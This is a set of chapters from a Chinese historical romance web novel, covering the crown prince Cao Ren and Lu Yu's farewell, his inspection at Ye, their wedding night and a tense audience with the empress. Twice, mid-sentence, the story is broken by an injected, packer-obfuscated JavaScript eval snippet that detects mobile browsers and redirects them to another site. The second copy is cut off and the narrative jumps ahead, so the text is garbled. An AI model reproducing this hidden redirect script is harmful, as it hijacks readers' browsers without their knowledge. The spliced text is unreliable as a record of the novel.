看懂陆萸眼中的心疼,曹壬再次将她揽入怀中,“往事不可追,你不用替我难过,若非她让我去覆舟山,我也遇不到你不是吗?” 他若只是一直偏安于南安王府一隅,想来此生真的只能青灯古佛孤独一生。 “她待我如何,我都不难过,可当年我不知情下把手串和药送给了你,真是后怕不已。” 陆萸收紧怀抱他的手,“发现的及时,所以我只是病了一段时间,若没有那份礼物,我也不会发现对你的情谊,所以哪怕有毒,我也不舍得扔了它。” 回想起那时的甜蜜、无措和酸涩,只觉得此刻真像是一场梦。 “真是傻瓜”曹壬亲昵出声。 “你不也一样吗?”陆萸仰头看着他问。 傻到为了她的理想入了东宫,世上恐怕没有比他更傻的人了。 曹壬低头看着她,她笑望着他,眼睫微微颤抖着,一下一下像小扇子一样轻轻刷过他的心田,心口顿时暖洋洋的。 这时,身后不远处传来灼华的声音,“女公子,夜深了。” 灼华是在后山的另一个入口等陆萸的,她其实不想上来打扰二人,可眼看月亮慢慢下沉,担心深夜太凉,陆萸刚从建业赶回来,还未休息好,很容易受寒生病。 闻言,陆萸轻轻退出曹壬的怀抱,笑问:“长安那夜,我有没有对你这样做?” “什么?”曹壬反问。 在曹壬疑惑的目光下,陆萸鼓起勇气双手攀上他的脖颈,然后踮起脚尖,在他右侧的脸颊上轻轻印一吻,然后靠近他的耳朵轻柔出声“如此这般。” 曹壬见她手伸出时,猜不到何意,待那份柔软湿热从她的唇上传到脸上,她的气息轻轻喷在耳畔时,他蓦然睁大眼睛,顿时忘了呼吸,更忘了手该放在何处,心口瞬间像燃放了烟火,既绚烂又美丽。 待他回过神想要伸手拉住她时,她却已经红着脸跑开了。 跑了一段距离,她转身看着怔怔立在原地的他,俏皮一笑:“太子殿下,回去后别忘了想我,我们明日再会。” 言毕,她的身影和灼华一起消失在路的那一头。 此时曹壬的心口既甜蜜又酸软,她印下的吻,仿佛烧红的铁将专属她的印章永远留在他的脸上,甚至烙印在他心底,那阵悸动和火热久久不散。 她就像于月下不期然偶遇的仙子消失在眼前,让他还未来得及对那一吻做出回应,就只能回味,这样的夜如何能让他不想她。 怔愣了须臾,他弯腰捡起她留下的灯笼,虽然早已熄灭,但手柄上仿佛还留有她的余香,他忍不住扬起嘴角,提着灯笼顺着来时的路往山下走。 八喜在山下等了好一会,正犹豫着要不要进山去找太子殿下时,看到太子殿下提着一盏熄灭的灯从路口出来了。 他惊讶道:“殿下哪里来的灯?” “挖竹笋挖到的”曹壬笑回。 八喜扯扯嘴角,不敢再说一言,这理由骗鬼都不会信,见殿下心情看似很好,他忙提着自己的灯笼追了上去。 陆萸今夜心情大好,回去后很快就睡着了,还做了个甜甜的梦。 曹壬却一直难以入睡,他甚至都舍不得把脸压在枕头上,就一直这么仰着脸平躺着,心里一直想着婚期是不是定的太晚了?早知思念如此折磨人,就应该让太史令把日子往前定的。 翌日清晨,是一个大晴天,旭日东升。 王源洗漱好,用过早膳后来找曹壬,见曹壬明显睡眠不足的样子,心里偷偷同情起来,太子殿下估计是想到糟心的太子妃,所以连觉都睡不好。 二人相互寒暄过后,一起商议接下来的行程安排,这时八喜报谢氏女郎请二人去后院亭中品茶。 王源迟疑道:“若殿下不想见她,臣替你去会会她。” 曹壬摇摇头,“一起去吧,她终归要嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125812|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入东宫的。” 王源听了,心底一叹,殿下就是菩萨心肠呀。 今日天气好,陆萸把正式见面的地点选在了院中惜翠亭中,亭外是大片荷塘,此时荷塘生机盎然,片片荷叶在风中微微摇曳,朵朵即将绽放的花骨朵亭亭玉立,不时有蜻蜓在其间逗留。 想到之前在洛阳时自己一直戴帷帽,她今日便也按以前的装束接待二人。 互相行过礼坐定后,陆萸最先开口,“殿下和王公子远道而来,昨日接待不周,还请见谅,现下,我点茶赔罪,还望你们能赏脸饮一杯。” 陆萸一口纯正又陌生的洛阳调让曹壬一时间回不过神来,她一直用这样的声音做谢知鱼,还要戴着厚厚的帷帽,想来很累吧。 王源见曹壬不说话,主动回,“女公子言重了,贵府无不周之处。” 陆萸倒也不客气,而是开始煮茶,她将第一杯茶递给曹壬,“殿下尝尝看,这是家父从建业带回的陆氏新茶。” 八喜在一旁候着,听到这话,立即去看曹壬。 只见曹壬毫不犹豫接过茶杯,抿一口后,赞:“好茶。” 太子都喝了,王源就没有扭捏的必要,也接过陆萸手中的茶杯。 煮茶饮茶是为雅事,凡附庸风雅的,都会煮一手好茶,但这样好看的茶道他以前没见过,明明只是不添加任何材料的茶汤,却让他回味无穷。 想到妹妹自落选后整日闷闷不乐,又想到那些关于谢氏女的传言,他打破沉默,“女公子既是点茶赔罪,为何不敢以真面目示人,不觉得这样很没有诚意吗?” 陆萸煮茶的手一顿,犹豫地看着曹壬,“殿下也这般认为?” 曹壬摇摇头,“无妨,女公子随意。” 陆萸刚想回王源的话,只听王源接着开口,“臣是太子舍人,女公子是要嫁入东宫的,早晚都要见面,如今何必遮遮掩掩?” “不可无礼”曹壬一脸不悦地打断。 太子殿下就是太心善,才由得谢氏女这般不把殿下放在眼里,王源就想争回这一口气。 陆萸倒也没有生气,稍作思量后,笑回,“是我思虑不周” 说着,毫无征兆地将头上的帷帽取了下来。 帷帽下的女子有着一张姣好的面容,有着青黛的眉峰,虽然眉梢隐隐带着病气,却反而增添一种柔弱的美,仿若盛放在微风中的白莲,美得一尘不染。 此时恰好有耀眼的金阳从亭外斜晒进来,照在她的脸上,金色和着氤氲的茶雾,让她的秀颜越发朦胧,茶汤的幽香和暖阳落了她的一身。 她抬头看着曹壬,微微一笑,眸中似有浩瀚星河,朱唇轻启,“能再次见到殿下,我心生欢喜。” 饶是已经在昨夜见过陆萸,这样精致妆容的她还是让曹壬移不开眼,他真后悔没拦着王源,思及此,他先冷冷的睨了一眼八喜,然后不着痕迹地看向一旁早已看呆的王源。 八喜在看到谢知鱼的真面目时,先是疑惑她为何有些眼熟,待看到太子看过来的那一眼,顿时心中大惊,原来如此!! 震惊过后,他立马平复情绪,向曹壬道:“奴婢去先去准备行囊。” 曹壬颔首,“莫要让无关紧要的人扰了我们品茶。” 八喜心乱如麻,却只能立即下去布置了,太子妃这样的脸怎么能让人随意窥视,万一恰好有江东旧识,岂不是要坏大事,至此,他终于能理解为何那日太子妃之争结束后,殿下脸上时有隐隐的愉悦。 王源怔愣过后有些后悔这般强求谢知鱼了,原来传言都是假的,除了身体康健,妹妹确实比不过她,他怔怔地回:“传言害了我,我在此向女公子赔不是。” 说着,他将手中茶汤一饮而尽。 陆萸笑回:“谣言止于智者,想来家父在朝堂的言论让大家对我有偏见,然而,家父那些话皆是我肺腑之言,我日日夜夜想的都是嫁给殿下为妻。” 说完,她眼中一片深情地看着曹壬,她倒要看看他能不能忍住。 果真如她所料,曹壬眼中闪过一丝不自在,面颊上迅速爬满可疑的红晕。 谢氏女这也太直猛了吧?王源被她的大胆言论惊得说不出话,他忙扭头去看太子殿下,却见太子殿下只是端起茶杯安静的喝着茶,他甚至隐隐觉得殿下很开心! 原来,殿下喜欢这种类型的?!洛阳那些落选的贵女要是知道真相,岂不是要气得吐血。 这样的发现让王源顿时心绪复杂极了,连陆萸和曹壬聊的话题都没能听进去。 他们在聊今日的邺城之行,陆萸很好奇当年曹操用来训练水兵的玄武池,更好奇铜雀苑中的三个高台,不过她没机会去看,所以让曹壬看过后回来描述给她听。 王源安静地在一旁品着茶,见殿下和谢氏女聊得投机,仿若相处多年的老友一般默契,觉得自己之前的不满,在现下看来显得极其可笑。 眼看时间不早了,想到他们还要继续赶路,陆萸便让青琼将琵琶抱了出来。 她轻轻调试一下音色后,对曹壬道:“殿下此行任重道远,我无法随行,故送一曲为殿下践行。” 一瞬间,如绸缎般柔和温润琵琶声响起,在她手指弹动间,如水的音色慢慢荡漾开来,带起了岁月的涟漪,一曲醉人的曲子久久回荡在亭中。 曲尽,曹壬双眸怔怔地注视着陆萸,“这曲子可有名字?” 陆萸回望他,虽嘴角带笑,眼中却有泪意,“此曲名:一生所爱,抱歉,我送迟了。” 那年,在长安城那场纷纷扬扬的大雪中,她就应该送给他的。 曹壬久久凝望着她,“不迟,如今正好。” 87. 第八十七章 大婚 王源沉浸在琵琶曲中不能自拔,也没注意听曹壬和陆萸的对话,待他回过神时,发现太子殿下已经和谢氏女在眉目传情了,瞬间恨不得自己就是那根立在一旁的柱子。 好在,接下来他们二人还算克制,除了互相道别,没有进一步的动作,这让他松了一口气。 曹壬一行人要出发去邺城了,临行前,他告诉陆萸,为防止有心之人对她不利,他会直接从邺城去清河王封地,参加完清河王世子的婚礼之后不会再来谢氏别院,而是直接赶回洛阳。 现在二人都已经说开,剩下的就是筹备婚礼,所以陆萸也觉得大婚前还是谨慎些好,越低调越不容易出岔子。 她送了几块自己用的香皂给曹壬,有海棠花味和青竹味,然后给即将嫁去清河王府的萧六娘也准备了新婚贺礼,是一套有四种花香味的香皂礼盒。 她交待曹壬:“若是萧表姐赠我回礼,你先替我收着。” 曹壬点点头,“过一阵,你也回洛阳吧。” “等忙完洗发膏的研发,我就回去,你参加完婚礼赶紧回洛阳,路上不要耽搁。” “好,我听你的,你保重。” 二人作别的时候,虽然只是稀松平常的几句话,却让曹壬觉得温情脉脉,他们这样,好像一对老夫妻。 除了那年在海棠树下,二人每次分别都是他目送她离开,这次看到她留在原地,让他第一次对家人这个词有了更深的体会,家人是站在原地依依不舍目送自己离开的人,也是等候自己归来的人。 曹壬带着王源去了邺城军防驻地,驸马都尉之前就接到王源的信了,所以早早在城门口迎接太子一行人。 按惯例,新太子册封后都会到邺城巡视,驸马都尉已经接待过两任太子了,曹壬是第三位。 老谋深算火眼金睛的驸马都尉看到太子放弃豪华舒适的马车,一路骑行而来,瞬间对新太子有了好感。 他虽出自山西太原王氏,但曾经在优渥环境下娇养长大的世家公子到邺城驻军后,慢慢丢了世家子弟那些花哨的讲究,反而越来越像军中的汉子。 所以相比前两任太子出行时前呼后拥的阵仗,他更欣赏曹壬这样有效率的出行方式,接待的时候也就格外用心。 曹壬在邺城军中住了六天,参加邺城军大阅兵,也了解了驻军的基本情况,军中存在的问题或亟需朝廷支援解决的问题,他都一一让王源记录下来。 他是从白马寺还俗后成为太子的,所以驸马都尉接待的时候也没为他准备什么歌舞表演或者重大宴会。 为此,王源还偷偷向他抱怨,“叔父这样接待殿下,也太寒酸了。” 曹壬却笑回,“我觉得这般甚好,没有应酬我就有更多的时间和精力去了解邺城的情况,他愿意让我去军中行走,才是最真的诚意。” 王源听后,对太子殿下更加钦佩了,原来殿下想了解邺城的情况不是随便说说,而是真心想知道驻军防守细节。 自此以后,王源跟着曹壬在邺城巡视也更加用心了。 几天后,驸马都尉为太子一行人践行的时候,心情和以往不一样。 前两任太子走时,他恨不得他们快些回洛阳,生怕继续接待下去花销太大,而曹壬,他却希望下次还能再来。 先不说他提出的那些问题太子殿下能否解决,就说每当他发牢骚时太子殿下能耐心倾听,并温言劝解,就已让他在短短几天内对新太子的好感度暴增。 如此省钱的接待,还这么让人舒心,真是刷新了他几十年军旅生涯的认知。 军中多粗汉,且每个朝代的军营都有这样那样的问题,他自到邺城驻军后,因责任心太重,整日忙的焦头烂额,太想遇到一位这样善解人意的人与之一起共事了。 邺城至清河王封地不算太远,一行人骑行过去,几天就到了。 清河王世子对太子殿下能亲自来观礼感到无比荣幸,高兴之余还拉着曹壬说了一些体己话。 那日在华林园,他大言不惭地想替太子殿下把关选妃,如今殿下不得不娶个病秧子,他还是有些替殿下不平的。 于是悄声道,“待我和世子妃熟悉了,我替殿下好好问问谢氏女的情况,他们是表姐妹,我听说谢女郎在萧府住过一段时间。” “不用打听,谢氏女很合适我”曹壬笑回。 清河王世子一脸讶然,“殿下难道真是为了救人才答应婚约的?” 曹壬摇头笑笑,然后也学清河王世子,低声道,“她没有嚣张跋扈,也没有软弱可欺,是我喜欢的类型。” 清河王世子听后,睁着大眼睛,“但是她那样不矜持,没有世家教养。” “世家诸多,教养有所不同属正常,她不是不矜持,只是没有把欢喜藏着掖着,如此一片赤诚,又有几人能遇到?” 曹壬一席话,让清河王世子不知该如何回话了,甚至隐隐被说服了,他们这些从小就不愁吃穿的皇室公子,所求不也是一派赤城吗? 待婚礼结束后,清河王世子和性格直爽的萧六娘相处了两天,他就更能认同曹壬的这番言论了。 曹壬一行人是在婚礼结束三天后赶回洛阳的,临行前萧六娘果真给谢知鱼准备了一套回礼,是几块刺绣精美的纱料。 怕太子殿下不愿意替自己转交,她特意解释盒子内的东西,“鱼表妹之前的帷帽太朴素,我准备的纱料既透气又好看,她肯定会喜欢的。” 曹壬爽快地接过礼盒,回:“世子妃如此用心,我先替阿萸谢谢你。” 萧六娘觉得太子这回答有些奇怪,毕竟他还没和表妹成亲,但大条的清河王世子没发现,笑着道:“马上就轮到殿下大婚了,我一定带着六娘去观礼,届时一定要让殿下喝醉才是。” 太子殿下从不饮酒这个事,全大魏都知道,要是真能让他喝醉,也是有本事的人。 萧六娘刚想提醒世子不要口无遮拦,曹壬抢先回,“娶新妇,自然要饮酒,我在洛阳等你们。” 曹壬将礼盒扔给八喜后,翻身上马,一行人就这样训练有素的赶回洛阳去了。 几个月的时间转瞬即逝,很快就到了太子大婚的时间。 曾经名动大魏的慧悟法师不但还俗,如今还要成亲了,那些聆听过慧悟讲经的人是惋惜的,毕竟一旦成亲生子,他想要再回白马寺就不可能了。 而那些担心新太子暴政的朝臣是欢喜的,如此宅心仁厚的储君,才是他们值得追随的对象呀,如今能大婚,就证明以后不会再有变故了。 为大婚,谢太后提前一个月派了教导宫女给陆萸培训相关流程和注意事项,也派了永宁宫得脸的宫女给陆萸的几名侍女和灼华进行了两个月的密集培训。 太子大婚,流程为:临轩命使、纳采、问名、纳吉、纳徵、告期、告庙、册妃、亲迎,同牢、朝见、会群臣。 整套太子大婚流程极其繁琐,所有环节的参与者都要花时间和物力去准备。 因世人崇尚自然无为而治、返璞归真,所以大婚流行穿白色婚服,太子娶妃,有白毂,白纱,白绢衫,并紫结缨,即驾白色的马车,用白色的纱帘,穿白色礼服,唯腰间扎紫色腰带。 陆萸刚见到广袖白婚服的时候,对如此飘逸的款式和布料都不是很喜欢,总觉得太白太素雅,不够喜庆,她心底更喜欢汉朝那种厚重的婚服。 不过,等穿好婚服,让红菱上好妆后,她差点认不出镜中的自己,想不到这样的一身婚服可以穿出如此出尘脱俗的气质。 至亲迎那日,她手持却扇走完整个流程,待到喝合卺酒的时候,她早已累得头都快撑不住了,只因萧嘉卉给女儿准备的头饰真是太多了。 取下却扇,她才真正有机会看一身白衣的曹壬,哪怕时下流行着白衣,出身王府的他也从未着过白衣。 眼前丰神俊朗、飘逸出尘的他,比当年初见时多了一些稳重,但不影响他一如当年拥有一双澄澈的双眸,此时那双眼就这样深情地看着她。 “阿萸,我们该喝合卺酒了。” 他将手上的酒递给她,她被迷得七荤八素,晕晕乎乎地接过酒杯将合卺酒一饮而尽。 酒味甘醇,倒也不难喝,只是酒不醉人人自醉,她怔怔地看着他,“这样的你,以后就是我的了。” 曹壬很喜欢听这话,就如当年听她那句“我的君期”时心口就会跳得停不下来。 他伸手轻轻抚摸她的脸,“阿萸今日很美。” 按流程,他现在还不能留在婚房,他道,“你先将头饰取下,然后吃些东西,我很快就回来。” 不知怎么,明明是很平常的一句话,陆萸却听得心跳加速,“很快就回来”,回来做什么,二人心知肚明。 她满面红霞,点点头,“你也不要饮太多酒,免得伤身。” 曹壬点点头后出去了。 陆萸让青琼和玉瑶把头饰拆了,将婚服换下,只是太累的情况下虽然很饿,却吃不下什么东西。 玉瑶劝道,“女公子再用些吃食,不然半夜得饿。” 她劝得隐晦,陆萸却刷的一下子红了脸,忙落荒而逃:“我先去沐浴了,你把这些收走。” 曹壬回来的时候,陆萸已经梳洗完毕,正擦着头发。 见状,他很自然的去接过青琼手中的帕子,然后给陆萸擦了起来,动作熟练得让青琼和玉瑶惊诧不已。 “你们退下”曹壬道。 二人紧张地看着陆萸,见陆萸点头,才赶紧退了出去。 关好门后,玉瑶悄声问青琼,“殿下和女公子认识很久了吗?” 青琼摇摇头,“这事不可外传,我们只当没看见就是。” 玉瑶忙点了点头。 不知擦了多久,陆萸有些昏昏欲睡,她打了个哈欠,“你也去洗漱吧,我休息去了。” 曹壬放下帕子,在陆萸的一声惊呼中,将她稳稳抱起走向床边。 陆萸紧紧拉住他胸前的衣襟,嗔道:“瞌睡都被你吓醒了。” “你的美人在侧,你如何能瞌睡?”曹壬笑回。 他说话时,闻到一股淡淡的酒味,陆萸笑道,“你也累了一天,泡泡热水可以消除疲劳。” 曹壬闻言,将陆萸轻轻放下,然后伸手摸了摸她的脸,才不情不愿地洗漱去了。 陆萸刚刚确实是困极了,所以暂时忘了今晚的重头戏,可一想到礼仪宫女教的那些,又止不住脸红心跳。 大婚之日洞房是必经流程,她没理由排斥,可她又害怕会怀孕,这具身体才十七岁,之前一直气血两亏,长的也不算太好。 上个月,魏氏表兄的妻子难产去世了,她听过后特别害怕怀孕生产,如今的医术不发达,很多女子都过不了那一关。 二人好不容易走到今天,她想在他身边陪伴他很久很久。 “在想什么?我进来都没发现”曹壬已经换了寝衣。 “没,没什么”陆萸红着脸,忙向里挪了挪,给他腾出位置。 曹壬没有继续问,而是将帐子全部放下后,在她身边躺了下去。 一时间,二人都不说话看着帐顶,陆萸觉得连空气都静止了。 过了须臾,二人异口同声,“我们” 陆萸忍不住“噗嗤”一声笑了,原来他也很紧张,如此,她反而不紧张了。 她侧过身子,一副无赖的样子笑看着他,“美人,怕被我扑倒吗” 曹壬知道陆萸其实就是个有心没胆的纸老虎,刚要回话,看到她的领口已经松开,她却浑然不知。 里面白色绣花的肚兜若隐若现,白色的肚兜太薄,根本遮不住起伏的山峦。 他的心口顿时狂跳不止,口干舌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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至于他说的领养别人的孩子,她倒没想过,毕竟她没生养过,怕把别人的孩子养废了。 “别费神了,这些事我们日后好好合计就行,你也累了一天了,早些休息吧。” 曹壬说着,伸手给陆萸拉好锦被,然后平躺回去了,那睡姿,就跟修行一样认真。 虽然外面红烛高照,账内的光线却朦朦胧胧的,知道他的想法后,陆萸开始有恃无恐了,躺在床上睡不着的她,总觉得还差点什么。 想了一下,她低低唤了一声,“君期” “恩?” “你睡着了吗?” “睡着了。” 陆萸。。。。。。 又过了一会,陆萸忍不住出声,“我还没睡着。” 那边没回应,她还是不死心,干脆将身子探过去,看着他的睡颜,轻轻在他耳畔吐气如兰,“君期知道吗,刚才那个不是吻。” 原本正在默念清心咒的曹壬闻言,蓦然睁开眼,便看到上方一张笑盈盈的脸。 只见那张脸越来越近,在二人的心跳声都能清晰可闻的时候,她把唇印在了他的唇上。 那天那种感觉又来了,曹壬心跳如雷,顿时忘了呼吸,唇上的柔软湿热没有马上离开,而是和自己紧紧贴在一起。 在他因忘了呼吸而快要喘不过气的时候,她小巧的舌头带着清香快速描绘了一圈他的唇形。 电光火石间,他忘了思考,迅速拥着她翻了个身,双手撑在她的两侧,低头看着身下的她,喘着气,低哑出声“你知道自己在玩火吗?” 陆萸知道他不会对自己做什么,于是笑着回,“我在教你什么是真正的吻,现在教完了,可以休息了。” 曹壬不忍心伤害她,可被她这么一挑逗,心底的燥热忍了又忍,好不容易才渐渐平复下来。 见她笑得像只偷腥猫一样,双眸亮如星辰,饱满诱人的朱唇弯弯上扬,他忍不住想惩罚一下她。 于是,在陆萸惊愕的目光下,他俯身把温热的唇压在她小巧红润的唇瓣上,一股冷冽的檀香味扑面,有些急促,有些炽热,然后学着她的动作用他的力度将她的唇撬开。 他原本只想惩罚一下她就退开的,谁知唇齿间太美,让深藏心底的炙热如野兽一般突然苏醒,禁欲多年的他,好像要在这一刻尽情释放,昔日冷情冷性的外表在此时毁之殆尽,他忍不住压着香软的少女,重重的吻,深深的吸,贪婪地在她口中攻城略地。 陆萸原本只是想调戏一下美人,顺便看看美人红霞满面羞羞答答的摸样,哪里晓得曹壬竟然活学活用,这么快就反客为主了。 唇齿相依间,呼吸缠绕在一起,喘息渐重,她躲,他就追,如此几番追逐,陆萸觉得肺里的氧气越来越稀薄了。 快要头晕眼花时,他的动作突然从一开始的急切变得越来越温柔,这样的温柔让陆萸慢慢忘了闪躲,忍不住跟着他沉沦,双手不知不觉间攀上了他的双肩。 意乱情迷间,一只灼热的手穿过寝衣抚上了她的锁骨,她一个激灵,口中忍不住发出一声“唔”。 一声娇吟让曹壬的理智迅速回笼,他猛然停下动作,喘息出声,“对不起!”然后快速翻身出了床帐。 将将吻的热烈,陆萸的襟口已被扯开,口中唇间尽是他的气息,她像离开水的鱼,大口大口的呼吸着,大脑始终处在混沌状态。 不知过了多久,曹壬带着一身水汽回来了。 陆萸像一只乌龟一样缩在被窝里,感受到他已趟回身侧,却连头都不敢探出去看他。 曹壬伸出手臂隔着被子揽住了她,她轻轻挪了挪身子。 只听他低沉的嗓音道,“别动,我只是这样抱着你睡。” 陆萸真的就不敢动了。 不知过了多久,耳畔传来他均匀的呼吸声,猜想他已经入睡后,她偷偷从被子里探出脑袋。 眼前是他俊美的睡颜,她忍不住轻轻向他怀中靠去,然后闭上眼满足的睡去。 待陆萸睡着后,曹壬才睁开眼,低头看了眼怀中呼吸绵长,睡梦中嘴角带笑的她,他也扬起嘴角,将她更紧的收入怀中。 自今晚之后,二人将生同裘,亡同椁,真好。 88. 第八十八章 一爱难求 翌日清晨,陆萸睁开眼看到头顶繁复的帐顶时,有一瞬间的恍惚,一时不知身在何处,怔愣少顷才想起昨日大婚,如今在东宫。 “阿萸,早安”早已梳洗好正坐在窗前看书的曹壬听到动静,放下手中的书笑着向她问好。 陆萸闻声坐起身,问“我是不是睡过头了?” 太子大婚流程还没完,今日要进宫向帝后和太后请安,她可不想第一天就留下把柄。 “你不用担心,时间尚早”曹壬说着,朝着外间喊了一声。 很快,青琼和玉瑶就进来伺候陆萸穿衣梳洗了。 红菱给陆萸梳头的时候,曹壬在一旁看着,怀中揣着当初那把木梳,却迟迟没能拿出来。 红菱今日给陆萸梳的是高髻,他看了许久也没看懂那些头发是如何在红菱手中缠来绕去以后变成大气典雅的发式的。 太子殿下竟然喜欢看女子梳头上妆,而且看得如此认真,这让红菱在动手的时候隐隐有压力,插发簪的时候几次都插不好。 “让我来吧”曹壬出言打断。 得到陆萸的同意,红菱松了一口气,将手中的簪子递给曹壬。 陆萸看中镜中笑道:“你在一旁看着,吓到红菱了。” 将簪子稳稳插入发髻中后,曹壬看着镜中的她,“我只是想学挽发,答应过要替你挽发,怎可食言?” “你如今是太子,有比挽发更重要的事要做,这些就不用亲自动手了”陆萸说着,从盒子里挑选了一支步摇给曹壬。 “可我觉得挽发也很重要”曹壬答的很认真。 顿了一下,他接着开口,“阿萸莫怕,我一直在你身后,如当初。” 他早就看出陆萸的紧张,自洗漱好后,她的眼中全是隐忧,那里是皇宫,想来没有几人不紧张的。 镜中立于身后的他,一如当初眼神坚定,不知怎么,陆萸心底对帝后和皇宫的恐惧突然就消散了,一股斗志油然而生,终归还有他一起面对不是吗? 今日是拜见三宫,明日还要见群臣,太子大婚的礼仪才算全部走完,她不能胆小退缩。 陆萸选了一堆华丽夸张头饰后,跟着曹壬出发了。 临下马车前,她交待,“进宫后,无论我受何人刁难,你都不可出言解围,不然我之前的人设就立不住了。” 曹壬有些无奈,他不知陆萸为何非要执着那个被大家笑话的人设,但她反复交待,他唯有点头答应。 “你要相信我的能力,他们无人能在口舌上占我便宜。” 曹壬再次点头,“我信你。” 陆萸听后,才满意地跟着曹壬下了马车。 二人先是去太极宫见帝后,陆萸是第一次见他们,该学的礼仪都已熟记在心,所以倒也没有出什么错。 今日陆萸的妆容依然是病秧子妆容,这让满头珠翠显得更重了,在向帝后行礼时,曹启皇帝真怕她突然就在这大殿内晕倒。 眼前的太子妃不似外间传的那般不堪,甚至看得出是个美人,可惜这身体太差了些,曹启皇帝在心底默默叹息。 杨皇后没有曹启皇帝那般热络,看曹壬和看陆萸一样冷漠,她甚至在看到满头发饰时隐隐有嫌弃之色未来得及掩藏。 流程走完,帝后该赏赐的还是要赏,这些都是早就备好的。 陆萸立时满脸笑容的收下了,行过礼后不时偷瞄曹壬。 她的人设是痴缠太子殿下的花痴女,所以自进宫后,眼睛就没离开过曹壬。 若非这人是她,一路被人这么盯着,曹壬早就甩冷脸了,如今他却只是仿若未见,一脸平静地回答着帝后的问话。 “太子妃可还习惯东宫的生活?”曹启皇帝慈爱地看着陆萸问。 陆萸又看了几眼曹壬后,假装擦了一下嘴角的口水,然后依依不舍地转过头去看皇帝,“回父皇,因为有太子在,儿臣觉得东宫的空气充满香甜味,儿臣非常喜欢东宫。” 曹启皇帝听了,一时不知该如何继续问,忍了又忍才没有笑出声来,特别在见到太子那副如老僧入定的表情时,他心底忍不住替太子可惜,太子妃真是配不上太子。 “如此便好,若太子待你不好,你可以到宫里找朕告状”曹启皇帝笑着回。 皇帝这种话客套话,正常人听了都不会当真,可陆萸立马喜笑颜开,“多谢父皇关心,不过,儿臣盼了许久才能嫁给太子,所以,无论太子如何待儿臣,儿臣都甘之如饴。” 说完,她又重新扭头去看太子了,眼中一副情意绵绵,就差流口水。 早已习惯说话只说半句,习惯尔虞我诈的曹启皇帝被陆萸一番直白的回答弄得尴尬了须臾。对,就是尴尬,天下哪有儿媳这般回话的? 他轻咳一声稍作掩饰后,扭头看着皇后,“朕没有什么要说的了,不知皇后有没有什么要嘱托的?” 杨皇后能统领后宫这么多年,怎样的女子没见过?虽然东海王世子没能成为太子,她和父亲都因帝王这种手段气愤,但曹壬被册封为太子后,杨氏一族也已经调整好心态。 所以,杨皇后对新太子谈不上喜欢,但也不至于嫌弃。 可新太子妃就不一样了,她原以为传言是假的,甚至一度以为那日谢洐在朝堂上口无遮拦地一番告白是一种战术而已。 可今日见到这样的太子妃,杨皇后从一开始的嫌弃到现在已是心生怒火了,凭什么这样的女子能打败自己的侄女?杨氏那么多未出嫁的女郎,随便一个都比眼前的谢氏女强数倍。 “本宫听闻,你二人昨夜未圆房?”杨皇后冷言出声。 曹启皇帝的笑容瞬间凝固,但他很快调整好情绪,转头好整以暇地看着太子夫妇。 曹壬在听到这个问题的时候是气愤的,虽然知道杨氏的实力不容小觑,但皇后拿这事给阿萸难堪,他不会善罢甘休。 他刚要回话,却被陆萸抢了先,她一脸娇羞地回,“母后这般关心儿臣,儿臣真是感动至极,此事全怪儿臣,自收到旨意后儿臣开心不已,离婚期越近,更是欢喜得夜不能寐,这不,喝过合卺酒,儿臣知道太子注定是儿臣的夫君后,儿臣放心之余倒头就睡了,太子喊过儿臣,儿臣也没有醒来。” 说到这里,她顿一下,红着脸看向太子,“殿下昨夜喊过臣妾了吗?” 曹壬波澜不惊地回,“喊了。” “母后,儿臣比谁都想圆房,您不用替我担心,等这几日儿臣把之前的睡眠都补上后,立马和太子圆房。” 陆萸说完,一脸娇羞地看着太子,那眼神好似要把太子的衣服当场扒了。 曹壬被她看得不自在,轻咳一声以作掩饰后,将视线看向皇帝。 他心想,阿萸如此炙热地眼神有几人能耐得住?不过只有自己知道,她不过逞口舌之能罢了,恩,口舌之能也不如自己,昨晚才那一会,她就败下阵缩进被窝了。 陆萸这番虎狼之词,饶是曹启皇帝脸皮再厚,也有些适应不了,杨皇后甚至已经红了脸,不知是被气的还是羞的。 “粗俗,俗不可耐,亏你出自名门谢氏”杨皇后咬牙切齿地回。 陆萸依依不舍地把视线从曹壬身上移开,然后一脸无辜地看着杨皇后,“母后,爱慕一人,为何要藏着掖着?且殿下为国事操劳已是不易,为何还要让他费心力去猜测儿臣的心思?” “都言女人心海底针,儿臣爱慕殿下,怎会忍心他为儿臣受累?夫妻不就是互相体谅对方的不易,并在对方需要的时候永远站在对方身后吗?所以,儿臣不是俗气,只是赤诚而已。” “可你是太子妃,你和太子也不是寻常夫妻,你的一言一行都代表着皇室,你如此这般不知羞耻,不怕丢了太子的脸吗?”杨皇后被陆萸一番言论气得大骂出口。 “皇后”“母后”曹启皇帝和曹壬齐齐出声打断。 就算不是真婆媳,就算杨皇后气愤难耐,也不该在成亲第一天就骂儿媳不知羞耻,因为皇室讲脸面,重形象,她这样破口大骂,和那些市井泼妇又有何不同? 杨皇后也是在听到皇帝的声音时,才猛然发现自己失态了,她是气太子妃的口无遮拦吗?根本不是。 她是因为那句夫妻就该体谅对方的不易后突然怒不可遏的,她觉得太子妃在含沙射影的说自己和皇帝不是一条心。 曹壬出声打断后,立即扭头去看陆萸,眼中的爱护疼惜差点就藏不住了。 只见陆萸偷偷向他眨了一下眼睛后,举起手中帕子擦了擦那并不存在的泪水,红着眼眶怯怯地看着皇后,“母后,儿臣只是爱慕太子而已,儿臣没做错什么,您何故这般生气?难道儿臣不该爱慕太子吗?” 杨皇后听后一惊,忙回:“没,没有的事”她可不想被人说成拆散夫妻的恶婆母。 “儿臣知您持成稳住,所以不习惯儿臣的性子,不过,日后您会慢慢习惯的,儿臣每日都会去中宫请安的。” 杨皇后心想,千万别,我还想多活几岁,她如今不想再回话,只冷冷地看着陆萸。 